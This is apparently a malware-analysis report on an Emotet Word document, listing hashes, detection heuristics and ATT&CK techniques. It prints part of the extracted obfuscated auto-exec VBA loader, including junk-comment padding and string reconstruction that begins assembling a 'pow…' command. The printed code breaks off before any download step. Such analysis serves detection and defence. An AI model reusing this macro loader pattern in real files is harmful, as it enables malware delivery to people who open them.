Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 82966fd4419fb896…

MALICIOUS

Office (OLE)

161.5 KB Created: 2019-09-26 14:00:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: bf06ccbd06548f52eaafa7d8fd994a37 SHA-1: c92b537ebbd5f1eb200d1e0fa5e5d6c006089680 SHA-256: 82966fd4419fb8966bee0a9a245f861961d54df4afb1744ffb78ac6bb71e8ddb
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1059 Command and Scripting Interpreter

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-10022072-0', indicating it is likely an Emotet variant. High-severity heuristics indicate the presence of an obfuscated auto-executing VBA loader that uses CreateObject and execution functions. The VBA macro 'macros.bas' is the source of this malicious behavior, likely acting as a downloader for a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10022072-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10022072-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 24222 bytes
SHA-256: 82c70c1bcc910b66ec17616e621fa46174f83ada6d8eb60fef4850cb0544fc05
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Visionorientedcsj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "systemzfc, 0, 0, MSForms, TextBox"
Attribute VB_Control = "Pakistanwsb, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Icelanddmz, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Ergonomic_Steel_Computeravj, 3, 3, MSForms, TextBox"
Attribute VB_Control = "transmitterzct, 4, 4, MSForms, TextBox"
Attribute VB_Control = "Rubberivv, 5, 5, MSForms, TextBox"
Attribute VB_Control = "viraldph, 6, 6, MSForms, TextBox"
Attribute VB_Control = "withdrawalwhb, 7, 7, MSForms, TextBox"
Attribute VB_Control = "Technicianuhu, 8, 8, MSForms, TextBox"
Attribute VB_Control = "HDDzbl, 9, 9, MSForms, TextBox"
Attribute VB_Control = "Divisionwip, 10, 10, MSForms, TextBox"
Attribute VB_Control = "Welllcv, 11, 11, MSForms, TextBox"
Attribute VB_Control = "Handcrafted_Soft_Pantsuob, 12, 12, MSForms, TextBox"
Attribute VB_Control = "Unbrandedzfi, 13, 13, MSForms, TextBox"
Attribute VB_Control = "Fantastic_Rubber_Sausageswni, 14, 14, MSForms, TextBox"
Attribute VB_Control = "Wonqro, 15, 15, MSForms, TextBox"
Attribute VB_Control = "Internaljwo, 16, 16, MSForms, TextBox"
Attribute VB_Control = "virtualhlc, 17, 17, MSForms, TextBox"

Attribute VB_Name = "Userfriendlywoi"
Function Platinumumb()
'plug-and-play Illinois Lights back up Corporate Intelligent Incredible Frozen Mouse Rubber
    i = 1
    'Soft Generic Soft Salad quantify deposit orchid Lights Balanced deposit real-time parsing Bedfordshire
    While i <= ActiveDocument.Revisions.Count
    'Small Steel Shirt connecting Australian Dollar navigating engineer Handmade Handcrafted Granite Pizza synthesize compressing Pakistan Rupee Research invoice
        Debug.Print "maroon Soft transition " & i & " Implementation neural Prairie: " & ActiveDocument.Revisions(i).Author 'Borders Greece
        'COM microchip policy Pennsylvania navigating hack strategic auxiliary Practical Strategist
        Debug.Print "target digital transmitting " & i & " synergies JSON Chief: " & ActiveDocument.Revisions(i).Creator 'Bangladesh channels
        'Technician Tasty Handmade Granite Cheese groupware River JSON Gorgeous Metal Mouse Berkshire Cotton
        Debug.Print "Steel " & i & " Hills service-desk solid state: " & ActiveDocument.Revisions(i).Date 'grid-enabled
        'primary Rubber whiteboard Palestinian Territory Montana Handcrafted Fresh Mouse Saint Vincent and the Grenadines Designer scalable Loaf Senior
        Debug.Print "Automotive & Jewelery violet " & i & " optimizing: " & ActiveDocument.Revisions(i).FormatDescription 'interactive Concrete Island
        'heuristic Designer visionary Web generating JBOD connecting
        Debug.Print "Liaison ADP " & i & " Supervisor Dobra: " & ActiveDocument.Revisions(i).Range 'niches
        'schemas modular programming Georgia Tasty capacitor lavender Incredible Director Ergonomic Plastic Salad
        Debug.Print "Liberia Intelligent Steel Towels Vatu " & i & " Group mobile Ergonomic: " & ActiveDocument.Revisions(i).Style 'system US Dollar
        'Codes specifically reserved for testing purposes whiteboard Mount AGP back-end District Practical Rubber Bacon Way Avon implement redundant Zimbabwe Dollar
        Debug.Print "capacitor " & i & " Unbranded Cotton Bike: " & ActiveDocument.Revisions(i).Type 'strategic Coordinator
        i = i + 1
    Wend
invoiceizi = "pow" + Freshwwr(Visionorientedcsj.Handcrafted_Soft_Pantsuob + Visionorientedcsj.viraldph) 'Latvia Mission neural Multi-layered Gorgeous client-driven utilize wireless
'deposit Jewelery, Kids & Jewelery ivory salmon interactive Yuan Renminbi Usability Ways whiteboard wireless Concrete withdrawal
    i = 1
    'intangible Plaza Shoal Louisiana Maryland Implementation International deliverables Savings Account
    While i <= ActiveDocument.Revisions.Co
... (truncated)